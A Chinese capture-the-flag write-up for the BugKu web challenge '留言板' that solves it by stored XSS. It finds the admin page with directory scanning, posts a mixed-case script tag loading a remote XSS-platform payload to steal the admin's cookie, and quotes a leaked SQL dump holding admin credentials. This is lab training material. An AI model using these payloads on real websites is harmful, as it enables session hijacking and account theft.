BUGKU-WEB 留言板

题目描述

• 题目无需登录后台！需要xss平台接收flag， http协议需要http协议的xss平台
• 打开场景后界面如下：

解题思路

• 看到此类的题目，应该和存储型xss有关，也就是将恶意代码保存到服务器端
• 即然在服务器端，那就是会在后台弹出窗口了
• 所以需要找到后台地址，看看能不能爆破进入，但是题目提示了说不需要登录后台，需要使用xss平台来接收cookies

相关工具

• 目录扫描工具：御剑
• 或者dirsearch工具：python dirsearch.py -u url
• url解码：https://www.iamwawa.cn/urldecode.html

解题步骤

1. 测试一下script代码：

<script>alert(1)</script>

发现确实可以读取到。

使用目录扫描工具-御剑进行扫描试试

得到后台管理地址：http://114.67.175.224:10687/admin.php

账号密码不知道？
需要注意的是：该题目提示了无需登录后台！需要xss平台接收flag， http协议需要http协议的xss平台
所以，我们需要找一个xss平台（https://xssaq.com/），目前我找到的这个是免费可用的，其他的都需要付费。

然后创建一个项目：

<sCRiPt sRC=//uj.ci/k3a></sCrIpT>

将项目中提供的代码输入留言板中：

然后，返回项目中查看效果：

这个时候就获取到cookies了，这就是我们需要的flag，注意记得转码（%7B 和%7D）：

flag%7B826066e999f695cacd75a92ac9a0ac09%7D

所以就得到了falg：

flag{826066e999f695cacd75a92ac9a0ac09}

---

之前该题目是有个数据库文件db.sql文件，可以直接在扫描目录的时候就得到，内容如下：

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)/*!40101 SET NAMES utf8 */;#
# Structure for table "text"
#CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (`Id` int(11) NOT NULL AUTO_INCREMENT,`text` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "text"
#/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;#
# Structure for table "user"
#DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) DEFAULT NULL,`password` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "user"
#/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

可以发现，在最后有一行插入语句：

可以看到INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');

账号admin，密码011be4d65feac1a8

这就是我们需要的账号密码，登入后发现弹出了弹窗：

但是，我们并没有得到我们想要的falg，那该如何？当然是获取cookies了：
直接F12，查看cookies即可：

或者直接在留言板中输入获取cookies的代码，在登录后台的时候自动弹出：

<script>alert(document.cookie)</script>

就像这样：

得到Flag

flag{826066e999f695cacd75a92ac9a0ac09}

新知识点

1. 学会使用目录扫描工具
2. 认识熟悉常见的url编码